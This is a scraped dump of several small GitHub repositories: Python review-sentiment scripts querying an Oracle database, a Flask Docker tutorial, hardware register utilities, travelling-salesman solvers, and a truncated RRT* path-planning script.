input('enter a string: ')\n legit(a)\n else:\n print \"Invalid input. Try again.\"\n main()\n \n \n \ndef revlength(n,m):\n con = cx_Oracle.connect('yp','yp','xe')\n cur = con.cursor()\n cur.execute('select text from reviews11')\n reviews = cur.fetchall()\n reviewslist = []\n cur.close()\n con.close()\n revavg = 0\n z = []\n x = 0\n stdstep = 0\n std = 0\n mean = 0\n cntr= 0\n for i in range(0,len(reviews)):\n z.append(list(reviews[i]))\n cntr = cntr + 1\n for i in range(0,len(reviews)):\n if z[i][0] != None:\n x= float(x) + float(len(z[i][0].split()))\n cntr = cntr + 1\n else:\n x = float(x) + float(0)\n mean = x/cntr\n\n\n for i in range(0,len(reviews)):\n if z[i][0] != None:\n stdstep = float(stdstep) + float((float(len(z[i][0].split()))-float(mean))**2)\n std = float(float((stdstep/cntr))**.5) \n \n zztop = 0\n for i in range(0,len(reviews)):\n if z[i][0] != None and m == 1:\n if len(z[i][0].split()) <= n:\n zztop = float(zztop) + 1\n elif z[i][0] != None and m == 2:\n if len(z[i][0].split()) >= n:\n zztop = float(zztop) + 1 \n print ['mean =', mean,'std = ',std,'% =', zztop/cntr*100]\n print\n main()\ndef averagestars():\n con = cx_Oracle.connect('yp','yp','xe')\n cur = con.cursor()\n cur.execute('select user_id, text from reviews11')\n data = cur.fetchall()\n cur.close()\n cur = con.cursor()\n cur.execute('select distinct user_id, average_stars, review_count from users_reviews11')\n distinctusers = cur.fetchall()\n cur.close()\n con.close()\n reviewnumber = 0\n for i in range(0,len(data)):\n reviewnumber = reviewnumber + 1\n users = []\n for i in range(0,len(distinctusers)):\n users.append((distinctusers[i][0],float(distinctusers[i][1]),float(distinctusers[i][2]),float(0)))\n for i in range(0,len(users)):\n users[i] = list(users[i])\n userslower = []\n for i in range(0,len(distinctusers)):\n userslower.append((distinctusers[i][0],float(distinctusers[i][1]),float(distinctusers[i][2]),float(0)))\n for i in range(0,len(users)):\n userslower[i] = list(userslower[i])\n\n for i in range(0,len(data)):\n if len(data[i][1].split()) > 201:\n for j in range(0,len(distinctusers)):\n if data[i][0] == distinctusers[j][0]:\n users[j][3] += 1\n for i in range(0,len(data)):\n if len(data[i][1].split()) <= 35:\n for j in range(0,len(distinctusers)):\n if data[i][0] == distinctusers[j][0]:\n userslower[j][3] += 1 \n endgame = []\n sum = 0\n lowergame = []\n lowersum = 0\n for i in range(0,len(users)):\n if float(users[i][2]/users[i][1]) >= .5:\n endgame.append(users[i][1])\n \n for i in range(0,len(users)):\n if float(userslower[i][2]/userslower[i][1]) <= .5:\n lowergame.append(userslower[i][1])\n for i in range(0,len(endgame)):\n sum = sum + endgame[i]\n \n for i in range(0,len(lowergame)):\n lowersum = lowersum + lowergame[i]\n if(len(endgame)==0):\n endgame = \" \"\n lengthystars = float(sum/len(endgame))\n if(len(lowergame)==0):\n lowergame = \" \"\n shorterstars = float(lowersum/len(lowergame))\n print 'longer reviews:', lengthystars\n print 'shorter reviews:', shorterstars\n print\n main()\n \ndef business(n,m):\n con = cx_Oracle.connect('yp','yp','xe')\n cur = con.cursor()\n cur.execute('select business1_id, text,stars, stars_b from business_review11')\n data = cur.fetchall()\n cur.close()\n con.close()\n z=[]\n x=[]\n scorelong = 0\n scoreshort = 0\n\n\n for i in range(0,len(data)):\n if len(data[i][1]) >= n:\n z.append(list(data[i]))\n elif len(data[i][1]) <= m:\n x.append(list(data[i])) \n for i in range(0,len(z)):\n scorelong += float(z[i][3]) - float(z[i][2])\n \n\n for i in range(0,len(x)):\n scoreshort += float(x[i][3]) - float(x[i][2])\n if(len(z) == 0):\n z = \" \"\n if(len(x) == 0):\n x = \" \"\n print float(scorelong/len(z))\n print float(scoreshort/len(x))\n print \"\"\n main()\n \n\ndef words(a):\n con = cx_Oracle.connect('yp','yp','xe')\n cur = con.cursor()\n cur.execute('select text, stars from reviews11')\n ##cur.execute('select text, stars from reviews123456')\n data = cur.fetchall()\n cur.close()\n con.close()\n z= 0\n d = {}\n data1 = []\n\n totalwords = 0\n \n\n\n for i in range(0,len(data)):\n z = 0\n z = data[i][0].split()\n for j in range(0,len(z)):\n if z[j] in d:\n d[z[j]] = d[z[j]] + 1\n else:\n d[z[j]] = 1\n totalwords= float(sum(d.values()))\n newdict = {}\n nd= {}\n\n if a in d:\n print d.get(a)\n print \n main() \n\n \ndef words1(a):\n con = cx_Oracle.connect('yp','yp','xe')\n cur = con.cursor()\n cur.prepare('select text, stars from reviews11 where stars = :b')\n cur.execute(None, {'b': a})\n ##cur.execute('select text, stars from reviews123456')\n data = cur.fetchall()\n cur.close()\n con.close()\n z= 0\n d = {}\n data1 = []\n\n totalwords = 0\n \n\n\n for i in range(0,len(data)):\n z = 0\n z = data[i][0].split()\n for j in range(0,len(z)):\n if z[j] in d:\n d[z[j]] = d[z[j]] + 1\n else:\n d[z[j]] = 1\n totalwords= float(sum(d.values()))\n newdict = {}\n nd= {}\n\n newdict = dict(sorted(d.iteritems(), key=operator.itemgetter(1), reverse=True)[:20])\n print newdict\n print\n main()\n\ndef words2(a,b):\n con = cx_Oracle.connect('yp','yp','xe')\n cur = con.cursor()\n cur.prepare('select text, stars from reviews11 where stars = :b')\n cur.execute(None, {'b': a})\n ##cur.execute('select text, stars from reviews123456')\n data = cur.fetchall()\n cur.close()\n con.close()\n z= 0\n d = {}\n data1 = []\n\n totalwords = 0\n \n\n\n for i in range(0,len(data)):\n z = 0\n z = data[i][0].split()\n for j in range(0,len(z)):\n if z[j] in d:\n d[z[j]] = d[z[j]] + 1\n else:\n d[z[j]] = 1\n totalwords= float(sum(d.values()))\n newdict = {}\n nd= {}\n if b in d:\n print d.get(b)\n print \n\n main()\nimport cx_Oracle\nimport sys\nimport operator\n\ndef legit(a):\n## con = cx_Oracle.connect('yp','yp','xe')\n## cur = con.cursor()\n## ##cur.prepare('select text, stars from reviews123456 where stars = :b')\n## ##cur.execute(None, {'b': '1'})\n## cur.execute('select text, stars from reviews123456')\n## data = cur.fetchall()\n## cur.close()\n## con.close()\n z= 0\n d = {}\n data1 = []\n data = a.split()\n for i in range(0,len(data)):\n if data[i] in d:\n d[i] = d[i] + 1\n else:\n d[i] = 1\n \n\n totalwords = 0\n \n pos =['great', 'good', 'excellent', 'exceptional', 'favorable', 'marvelous', 'positive', \\\n 'satisfactory', 'satisfying', 'wonderful', 'superior', 'pleasing', 'happy',\\\n 'always','best', 'lovely','better','greater','perfect','first','prime','finest',\\\n 'terrific','supreme','delightful','inexpensive']\n neg = ['bad', 'atrocious', 'awful', 'crummy', 'dreadful', 'lousy', 'poor', 'rough',\\\n 'sad', 'unacceptable','garbage', 'gross', 'abomindable', 'amiss', 'cruddy',\\\n 'dissatisfactory', 'godawful', 'inadequate', 'unsatisfactory','frustrated',\\\n 'fusttration','sucks','overcooked']\n wm = 0\n totalwords= len(a.split())\n if totalwords > 62:\n wm = float(float(totalwords - 62)*-0.003030303)\n elif totalwords <=62:\n wm = float(float(totalwords-62)*0.0454668338)\n\n nd= {}\n pd = {}\n ##for i in remove:\n ## if i in d.keys():\n ## d.pop(i,None)\n for i in neg:\n if i in d.keys():\n nd[i] = d.get(i)\n for i in pos:\n if i in d.keys():\n pd[i] = d.get(i)\n sumspos = 0 \n sumspos = float(sum(pd.values()))\n sumsneg = 0\n sumsneg= float(sum(nd.values()))\n\n ##newdict = dict(sorted(d.iteritems(), key=operator.itemgetter(1), reverse=True)[:35])\n ##print sorted(d.iteritems(), key=operator.itemgetter(1), reverse=True)[:35]\n #print newdict\n ##print max(d.values()) \n predicatedrating = float(3.7) + float(float(.560784314)*sumspos) \\\n - float(sumsneg*float(1.9066666667)) + wm\n \n print [round(predicatedrating)]\n main()\n\n\n \nmain()\n"
}
] | 1 |
lgblkb/docker_tutorial | https://github.com/lgblkb/docker_tutorial | 430c06ae920766470da3cc62e8e435a8eb747bdc | 4d467f5ab9b35b0946ee77b1117a3840ae50daa0 | 38c5be4cb8aa4d9fea8c801b56cda8895becc434 | refs/heads/master | 2023-05-14T21:18:38.561074 | 2021-06-01T10:01:55 | 2021-06-01T10:01:55 | 372,757,957 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.625,
"alphanum_fraction": 0.6547619104385376,
"avg_line_length": 20,
"blob_id": "ac6d0787b51077f0460140c535a1f42022b67101",
"content_id": "2969c2b85efbf1ee8513e08e51cea9eca681cd5d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Dockerfile",
"length_bytes": 168,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 8,
"path": "/Dockerfile",
"repo_name": "lgblkb/docker_tutorial",
"src_encoding": "UTF-8",
"text": "FROM python:3\nCOPY requirements.txt .\nRUN pip install -r requirements.txt\nENV FLASK_APP=main\n\n#COPY main.py .\n\nCMD [ \"python\", \"-m\" , \"flask\", \"run\", \"--host=0.0.0.0\"]\n"
},
{
"alpha_fraction": 0.6293333172798157,
"alphanum_fraction": 0.6613333225250244,
"avg_line_length": 18.6842098236084,
"blob_id": "24fdce2af34b031b9d7f60255f8494b0050a784f",
"content_id": "f09d11c0c3eb997dd4e524e650ef62f0e6b9918e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 375,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 19,
"path": "/main.py",
"repo_name": "lgblkb/docker_tutorial",
"src_encoding": "UTF-8",
"text": "from pprint import pformat\n\nfrom flask import Flask\nimport numpy as np\nimport pandas as pd\n\napp = Flask(__name__)\n\n\[email protected](\"/hello\")\ndef hello_world():\n vals = np.random.rand(10, 2)\n return dict(vals=str(vals), qwe=123, message='Salem')\n\n\[email protected](\"/bye\")\ndef bye_world():\n vals = np.random.rand(10, 2)\n return dict(vals=str(vals), qwe=123, message='Bye')\n\n"
}
] | 2 |
jose-lj/pile-of-scripts | https://github.com/jose-lj/pile-of-scripts | 1e466b28afe9b8c25a1c395a3d0e196f6d82fd11 | fb5afa4b01a5dd7af2d136281d488a6cddb2d879 | 221f8b04654f68ac04e92a5a13349bb512661998 | refs/heads/master | 2021-01-11T00:20:25.161118 | 2018-05-23T08:34:53 | 2018-05-23T08:34:53 | 70,565,101 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6037735939025879,
"alphanum_fraction": 0.6342525482177734,
"avg_line_length": 21.225807189941406,
"blob_id": "d75a1663080cefc3f7ba114582071f762c8ba855",
"content_id": "25a609b89abf72e4b31df86781f7f4576b1ab32d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 689,
"license_type": "no_license",
"max_line_length": 108,
"num_lines": 31,
"path": "/scripts/processSoftpllData.py",
"repo_name": "jose-lj/pile-of-scripts",
"src_encoding": "UTF-8",
"text": "import sys\n\ninfile, outfile = sys.argv[1], sys.argv[2]\n\nwith open(infile) as inf:\n lines=inf.readlines()\n\nlinesb=[]\ndecimals=[]\ndecimalsOrd=[]\n\nlinesb.append(lines[0::5])\nlinesb.append(lines[1::5])\nlinesb.append(lines[2::5])\nlinesb.append(lines[3::5])\n\nprueba = str(int(linesb[0][0],16))\n\nfor lineb in linesb:\n for i in range(len(lineb)):\n lineb[i] = str(int(lineb[i],16))\n decimals.append(lineb)\n\nfor i in range(len(decimals[3])):\n decimalsOrd.append(decimals[0][i] +' '+ decimals[1][i]+' ' + decimals[2][i]+' ' + decimals[3][i] + '\\n')\n\n\nwith open(outfile,\"w\") as outf:\n# outf.writelines(number + '\\n' for n)\n for line in decimalsOrd:\n outf.writelines(line)\n"
},
{
"alpha_fraction": 0.7461538314819336,
"alphanum_fraction": 0.7461538314819336,
"avg_line_length": 42,
"blob_id": "468bb341c582a56c84101eb59ddb69b3751c5967",
"content_id": "217e2f32f071b25994a264d9d7ca9a6ea0078537",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 130,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 3,
"path": "/README.md",
"repo_name": "jose-lj/pile-of-scripts",
"src_encoding": "UTF-8",
"text": "# pile-of-scripts\n\n A place to host those day-to-day, short scripts that make work easier. Probably of no use to anybody but me. \n"
},
{
"alpha_fraction": 0.6359360218048096,
"alphanum_fraction": 0.6688616871833801,
"avg_line_length": 35.517242431640625,
"blob_id": "bd2a0be0ff594e2400395ee7172eb0fbb2259593",
"content_id": "d0771c0a73a8d80980b152bd2c45e61ac913ee97",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1063,
"license_type": "no_license",
"max_line_length": 189,
"num_lines": 29,
"path": "/scripts/lmkconf/lmkconf",
"repo_name": "jose-lj/pile-of-scripts",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n\nimport sys\nimport argparse\n\nparser = argparse.ArgumentParser(description='Converts a raw register file from Texas Instruments CodeLoader\\nto a C struct ready to be copypasted in Zynq-based HW first-stage bootloaders',\n\t\t\t\t\t\t\t\tepilog='lmkconf - 2016, Jose Lopez Jimenez - [email protected]\\n\\n')\n\nparser.add_argument(\"inputfile\", help=\"Input file from CodeLoader\")\nparser.add_argument(\"outputfile\", help=\"Output file\")\nparser.add_argument(\"-s\",\"--struct\", dest=\"sname\", default=\"tilmk03806_regs_WR\", help=\"Name of the const struct\")\n\nargs = parser.parse_args()\n\ninfile, outfile = args.inputfile, args.outputfile\n\nwith open(infile,\"r\") as inf, open(outfile,\"w\") as outf:\n\toutf.write(\"const struct {int reg; uint32_t val;} \"+args.sname+\"[] = {\\n\")\n\toutf.write(\"{1, 0x800201C1}, //POWERDOWN\\n\")\n\toutf.write(\"{1, 0x800001C1}, //POWERUP\\n\")\n\tfor line in inf:\n\t\ttmp=line.split(\"\\t\")\n\t\treg=tmp[0].partition(' ')[0][1:]\n\t\tint_reg=int(reg)\n\t\tval=tmp[1].rstrip()\n\t\tif int_reg<31 :\n\t\t\toutf.write(\"{\"+reg+\", \"+val+\"},\\n\")\n\t\telse :\n\t\t\toutf.write(\"{\"+reg+\", \"+val+\"}};\")\n\n\n\n\n"
},
{
"alpha_fraction": 0.5306451320648193,
"alphanum_fraction": 0.6362903118133545,
"avg_line_length": 25.89130401611328,
"blob_id": "5511378c4f2b4646e42a2fb7bce9695b122a7e82",
"content_id": "7129e6ee83e58dd002d9ca27119a56f12ef76157",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 1240,
"license_type": "no_license",
"max_line_length": 133,
"num_lines": 46,
"path": "/scripts/droppermem.sh",
"repo_name": "jose-lj/pile-of-scripts",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nBASEADDR=0x10073000\nBASEADDR2=0x100730f8\nBASEADDR3=0x100730fc\n\nACCEPT_COUNT0=0x1007201C\nACCEPT_COUNT1=0x10072020\nDROP_COUNT0=0x10072014\nDROP_COUNT1=0x10072018\n\ndivider============================\ndivider=$divider$divider\nwidth=41\n\nSTRING=\"$(devmem $ACCEPT_COUNT0)\"\nprintf \"Port 0 accepted:\\t%d\\n\" ${STRING}\nSTRING=\"$(devmem $ACCEPT_COUNT1)\"\nprintf \"Port 1 accepted:\\t%d\\n\" ${STRING}\nSTRING=\"$(devmem $DROP_COUNT0)\"\nprintf \"Port 0 dropped:\\t\\t%d\\n\" ${STRING}\nSTRING=\"$(devmem $DROP_COUNT1)\"\nprintf \"Port 1 dropped:\\t\\t%d\\n\" ${STRING}\n\nHEADER=\"\\n%7s %12s %9s\\n\"\nFORMAT=\"%02d %1d %2s:%2s:%2s:%2s:%2s:%2s %4s\\n\"\nSTRING=\"$(devmem $BASEADDR)\"\nprintf \"$HEADER\" \"Pos. Used\" \" MAC Addr. \" \" Seqnum\"\nprintf \"%$width.${width}s\\n\" \"$divider\"\n\nfor i in {0..31}\ndo\n\tBASEADDR2=$((BASEADDR2+8))\n\tSTRING1=\"$(devmem $BASEADDR2)\"\n\tBASEADDR3=$((BASEADDR3+8))\n\tSTRING2=\"$(devmem $BASEADDR3)\"\n\tRESULT=$((STRING & (1 << $i)))\n\tif [ \"$RESULT\" -eq 0 ]; then\n\t\tRESULT=0\n\telse\n\t\tRESULT=1\n\tfi\n\tprintf \"$FORMAT\" $i $RESULT ${STRING1:2:2} ${STRING1:4:2} ${STRING1:6:2} ${STRING1:8:2} ${STRING2:2:2} ${STRING2:4:2} ${STRING2:6:4}\n\t#printf '%s Seqnum %s\\n' ${STRING:2:4} ${STRING:6:4}\ndone\nprintf \"%$width.${width}s\\n\" \"$divider\\n\"\n\n\n\n"
}
] | 4 |
4107029007/AlgoHw | https://github.com/4107029007/AlgoHw | bd8dc04a5a1ee60a17d7f7901f1500040d3bd255 | bac02d6b384e94c46079e9a91f7353e7dd271ae2 | 794722f903dd67077d239ad773b683b0879b5f0d | refs/heads/main | 2023-05-01T17:18:05.393936 | 2021-05-16T06:41:35 | 2021-05-16T06:41:35 | 367,801,177 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.28265830874443054,
"alphanum_fraction": 0.49030232429504395,
"avg_line_length": 31.380952835083008,
"blob_id": "932420da7ccc3d01aaba7052db0cbab18696127e",
"content_id": "49a56d3c0d184b9f8434d1b791a50b859d2c427c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3506,
"license_type": "no_license",
"max_line_length": 92,
"num_lines": 105,
"path": "/tsp_dp.py",
"repo_name": "4107029007/AlgoHw",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue May 11 00:31:00 2021\r\n\r\n@author: norah\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom itertools import chain, combinations\r\nfrom sys import maxsize\r\nimport time\r\n\r\ndef TSP(matrix):\r\n n = len(matrix)\r\n total = {}\r\n aps = set(i+1 for i in range(n))\r\n s = list(aps-{1})\r\n p = []\r\n d = {}\r\n p = {}\r\n for i, b in enumerate(chain.from_iterable(combinations(s, r) for r in range(len(s)+1))):\r\n total[b] = i\r\n ite = 0 \r\n path = []\r\n for i in range(0,n):\r\n d[(i,0)] = matrix[i][0]\r\n for k in range(1,n-1):\r\n for a,A in enumerate(combinations(aps-{1},k)):\r\n A = set(A)\r\n ap = aps-{1}-A\r\n A = list(A)\r\n A.sort()\r\n ty_list = []\r\n for j in A:\r\n ty = list(set(A) - {j})\r\n ty.sort()\r\n ty_list.append(ty)\r\n itt = total[tuple(A)]\r\n for i in ap:\r\n current = maxsize\r\n intt = 0\r\n for j in A:\r\n ty = ty_list[intt]\r\n ty = tuple(ty)\r\n current_d = min(matrix[i-1][j-1]+d[(j-1,total[ty])], current)\r\n d[(i-1,itt)] = current_d\r\n if current_d == matrix[i-1][j-1]+d[(j-1,total[ty])]:\r\n p[(i-1,itt)] = j\r\n intt = intt +1\r\n ite = ite +1\r\n glob = maxsize\r\n for j in range(2,n+1):\r\n indx = tuple(aps-{1,j})\r\n indx2 = tuple(aps-{1})\r\n glob = min(matrix[0][j-1]+d[(j-1,total[indx])],glob)\r\n if glob == matrix[0][j-1]+d[(j-1,total[indx])]:\r\n p[(0,total[indx2])] = j\r\n \r\n path.append(p[(0,total[indx2])])\r\n a = p[(0,total[indx2])]\r\n aps_copy = s\r\n for i in range(1,n-1):\r\n aps_copy.remove(a)\r\n a = p[(a-1,total[tuple(aps_copy)])]\r\n path.append(a)\r\n path.append(1)\r\n path.insert(0,1)\r\n d[(0,total[indx2])] = glob\r\n return path,d[(0,total[indx2])] \r\n\r\n\r\ninput_size = 4\r\nX = np.random.randint(1,31,size=(input_size,input_size))\r\nX = np.triu(X,1)\r\nX += X.T - np.diag(X.diagonal())\r\n#X = list(X)\r\n\r\n'''\r\nX =[[0,11,1,1,3,20,21,22,13,13,18,1,19,10,14,11,14,5,2,21]\r\n,[11,0,1,24,14,11,20,23,12,10,3,18,26,13,4,1,24,17,2,29]\r\n,[1,1,0,14,27,20,26,28,9,28,14,3,24,7,23,8,10,8,5,20]\r\n,[1,24,14,0,27,7,4,9,29,26,21,2,28,5,28,24,21,15,25,20]\r\n,[3,14,27,27,0,6,11,18,14,21,5,6,5,12,10,5,28,14,13,24]\r\n,[20,11,20,7,6,0,25,21,25,2,7,6,10,28,6,13,23,26,26,17]\r\n,[21,20,26,4,11,25,0,3,27,20,14,12,23,24,7,19,4,23,26,4]\r\n,[22,23,28,9,18,21,3,0,28,10,22,2,25,15,10,21,22,17,7,2]\r\n,[13,12,9,29,14,25,27,28,0,6,23,10,26,8,28,14,5,18,1,28]\r\n,[13,10,28,26,21,2,20,10,6,0,1,23,19,18,10,11,16,12,15,10]\r\n,[18,3,14,21,5,7,14,22,23,1,0,13,21,10,11,3,11,25,11,23]\r\n,[1,18,3,2,6,6,12,2,10,23,13,0,6,17,23,16,4,9,2,28]\r\n,[19,26,24,28,5,10,23,25,26,19,21,6,0,1,22,17,27,3,23,1]\r\n,[10,13,7,5,12,28,24,15,8,18,10,17,1,0,24,15,7,11,17,5]\r\n,[14,4,23,28,10,6,7,10,28,10,11,23,22,24,0,6,4,2,4,8]\r\n,[11,1,8,24,5,13,19,21,14,11,3,16,17,15,6,0,4,19,18,11]\r\n,[14,24,10,21,28,23,4,22,5,16,11,4,27,7,4,4,0,21,12,26]\r\n,[5,17,8,15,14,26,23,17,18,12,25,9,3,11,2,19,21,0,1,17]\r\n,[2,2,5,25,13,26,26,7,1,15,11,2,23,17,4,18,12,1,0,24]\r\n,[21,29,20,20,24,17,4,2,28,10,23,28,1,5,8,11,26,17,24,0]]\r\n'''\r\nt = time.time()\r\npat, cost_e = TSP(X)\r\nruntime = round(time.time() - t, 3)\r\nprint(\"path:\",pat)\r\nprint(\"cost:\",cost_e)\r\nprint(f\"Found optimal path in {runtime} seconds.\") \r\n"
},
{
"alpha_fraction": 0.5667724609375,
"alphanum_fraction": 0.5898412466049194,
"avg_line_length": 33.81060791015625,
"blob_id": "267ef6cb2399f3e6c11f638e5fb4c7d46d78dbc5",
"content_id": "ee4f61cc6b4ac7f3167096cd0c821f936c5428f2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4735,
"license_type": "no_license",
"max_line_length": 117,
"num_lines": 132,
"path": "/tsp_ga.py",
"repo_name": "4107029007/AlgoHw",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu May 13 23:15:54 2021\r\n\r\n@author: norah\r\n\"\"\"\r\n#參考網址:\r\n#https://ithelp.ithome.com.tw/articles/10211706\r\n#https://towardsdatascience.com/evolution-of-a-salesman-a-complete-genetic-algorithm-tutorial-for-python-6fe5d2b3ca35\r\nimport numpy as np\r\nimport random as rd\r\nimport time\r\nimport copy\r\n\r\nclass Location:\r\n def __init__(self,x):\r\n #self.name = name\r\n self.loc = x\r\n\r\n def distance_between(self, location2):\r\n assert isinstance(location2, Location)\r\n return X[self.loc-1][location2.loc-1]\r\n\r\n\r\ndef create_locations(i):\r\n locations =[]\r\n x = np.arange(1,i+1).tolist()\r\n for x in x:\r\n locations.append(Location(x))\r\n return locations\r\n\r\n\r\nclass Route:\r\n def __init__(self, path):\r\n # path is a list of Location obj\r\n self.path = path\r\n self.length = self._set_length()\r\n\r\n def _set_length(self):\r\n total_length = 0\r\n path_copy = self.path[:]\r\n from_here = path_copy.pop(0)\r\n init_node = copy.deepcopy(from_here)\r\n while path_copy:\r\n to_there = path_copy.pop(0)\r\n total_length += to_there.distance_between(from_here)\r\n from_here = copy.deepcopy(to_there)\r\n total_length += from_here.distance_between(init_node)\r\n return total_length\r\n\r\n\r\nclass GeneticAlgo:\r\n def __init__(self, locs, level=10, populations=100, variant=3, mutate_percent=0.1, elite_save_percent=0.1):\r\n self.locs = locs\r\n self.level = level\r\n self.variant = variant\r\n self.populations = populations\r\n self.mutates = int(populations * mutate_percent)\r\n self.elite = int(populations * elite_save_percent)\r\n\r\n def _find_path(self):\r\n # locs is a list containing all the Location obj\r\n locs_copy = self.locs[:]\r\n path = []\r\n while locs_copy:\r\n to_there = locs_copy.pop(locs_copy.index(rd.choice(locs_copy)))\r\n path.append(to_there)\r\n #print(path)\r\n return path\r\n\r\n def _init_routes(self):\r\n routes = []\r\n for _ in range(self.populations):\r\n path = self._find_path()\r\n routes.append(Route(path))\r\n return routes\r\n\r\n def _get_next_route(self, routes):\r\n routes.sort(key=lambda x: x.length, reverse=False)\r\n elites = routes[:self.elite][:]\r\n crossovers = self._crossover(elites)\r\n return crossovers[:] + elites\r\n\r\n def _crossover(self, elites):\r\n # Route is a class type\r\n normal_breeds = []\r\n mutate_ones = []\r\n for _ in range(self.populations - self.mutates):\r\n father, mother = rd.choices(elites[:4], k=2)\r\n index_start = rd.randrange(0, len(father.path) - self.variant - 1)\r\n # list of Location obj\r\n father_gene = father.path[index_start: index_start + self.variant]\r\n father_gene_names = [loc.loc for loc in father_gene]\r\n mother_gene = [gene for gene in mother.path if gene.loc not in father_gene_names]\r\n mother_gene_cut = rd.randrange(1, len(mother_gene))\r\n # create new route path\r\n next_route_path = mother_gene[:mother_gene_cut] + father_gene + mother_gene[mother_gene_cut:]\r\n next_route = Route(next_route_path)\r\n # add Route obj to normal_breeds\r\n normal_breeds.append(next_route)\r\n\r\n # for mutate purpose\r\n copy_father = copy.deepcopy(father)\r\n idx = range(len(copy_father.path))\r\n gene1, gene2 = rd.sample(idx, 2)\r\n copy_father.path[gene1], copy_father.path[gene2] = copy_father.path[gene2], copy_father.path[gene1]\r\n mutate_ones.append(copy_father)\r\n mutate_breeds = rd.choices(mutate_ones, k=self.mutates)\r\n return normal_breeds + mutate_breeds\r\n\r\n def evolution(self):\r\n routes = self._init_routes()\r\n for _ in range(self.level):\r\n routes = self._get_next_route(routes)\r\n routes.sort(key=lambda x: x.length)\r\n return routes[0].path, routes[0].length\r\n \r\n\r\ninput_size = 4\r\nX = np.random.randint(1,31,size=(input_size,input_size))\r\nX = np.triu(X,1)\r\nX += X.T - np.diag(X.diagonal())\r\n#X = [[0, 10, 15, 20], [10, 0, 35, 25],\r\n# [15, 35, 0, 30], [20, 25, 30, 0]]\r\nt_ga = time.time()\r\nmy_locs= create_locations(input_size)\r\nmy_algo = GeneticAlgo(my_locs, level=400, populations=150, variant=2, mutate_percent=0.02, elite_save_percent=0.15)\r\nbest_route, best_route_length = my_algo.evolution()\r\nruntime_ga = round(time.time() - t_ga, 3)\r\nbest_route.append(best_route[0])\r\nprint([loc.loc for loc in best_route], best_route_length)\r\n#print(\"time:\",runtime_ga)"
}
] | 2 |
Nagarakshith1/Modified-RRT-star-for-dynamic-path-planning | https://github.com/Nagarakshith1/Modified-RRT-star-for-dynamic-path-planning | 90e93e781f982a0afd446de3ed49632a5b60c2d9 | 90777454a2662ac9085e0de09f45f66c66460939 | ac5d9d0412927597cc0b2770379606cd10be49bb | refs/heads/master | 2022-11-19T23:04:21.685333 | 2020-07-19T03:42:09 | 2020-07-19T03:42:09 | 280,783,602 | 5 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5295774936676025,
"alphanum_fraction": 0.5516858696937561,
"avg_line_length": 38.6463623046875,
"blob_id": "96cf3aeda525775bfdb40b103e9d518a9550208f",
"content_id": "3821844dc12312fdeb0cac80aa09a8c0cc0a67f2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 23430,
"license_type": "no_license",
"max_line_length": 146,
"num_lines": 591,
"path": "/dynamic_path_planning_map2.py",
"repo_name": "Nagarakshith1/Modified-RRT-star-for-dynamic-path-planning",
"src_encoding": "UTF-8",
"text": "import numpy as np\nfrom shapely.geometry import Point, MultiPoint\nfrom shapely.geometry.polygon import Polygon\nfrom math import log\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport pickle \nimport shapely\nfrom queue import Queue\nfrom obstacles import Obstacles\nfrom RRT import RRT\nfrom replan import Replan\n\n\ndef plot(nodes,robot_pose,obstacle_pose,plot_no=0,path=0,path_present=False,two_paths=False,sigma_separate=[]):\n '''\n FUnction to plot the nodes, trajectoris, the path and the robot motions\n\n Parameters\n ----------\n nodes : array\n The tree expanded.\n robot_pose : Point\n The current position of the robot.\n obstacle_pose : Point\n The current position of the obstacle in the environment.\n plot_no : int, optional\n Number of plot for indexing the plot for the purpose of saving. The default is 0.\n path : list(int)\n The list of path values represented by th eindices of the nodes in the tree.\n path_present : boolean, optional\n To determine whether to print path on plot or not. The default is False.\n two_paths : boolean, optional\n To determine whetehr there are two paths to printed or not. The default is False.\n sigma_separate : int(list), optional\n Takes in a list of nodes to plot on the pathon the map. The default is [].\n\n Returns\n -------\n None.\n\n '''\n # plt the grid space\n # plot the obstacles\n # plot the edges\n\n fig, ax = plt.subplots(figsize=(5, 5))\n ax.axis('square')\n ax.set(xlim=(-10, 10), ylim=(-10, 10))\n rect1 = patches.Rectangle((-0.5, -7), 1, 14, fill=True, facecolor='gray')\n rect2 = patches.Rectangle((-7, -0.5), 14, 1, fill=True, facecolor='gray')\n ax.add_patch(rect1)\n ax.add_patch(rect2)\n\n valid_nodes = np.argwhere(nodes[:,4]==1).flatten()\n\n for j in range(valid_nodes.shape[0]):\n i = valid_nodes[j]\n if nodes[i][4] == 1:\n parent = int(nodes[i][3])\n if (parent ==-1 or nodes[parent,4]!=1):\n continue\n x = [nodes[i][0], nodes[parent][0]]\n y = [nodes[i][1], nodes[parent][1]]\n plt.plot(x, y, color='cyan', linewidth=1,zorder=-1)\n if path_present is True:\n points_x = []\n points_y = []\n for i in path:\n points_x.append(nodes[i][0])\n points_y.append(nodes[i][1])\n plt.plot(points_x, points_y, color='red', linewidth=2)\n plt.plot(points_x[0], points_y[0], color='blue', zorder=0)\n\n if two_paths:\n points_x = []\n points_y = []\n for i in sigma_separate:\n 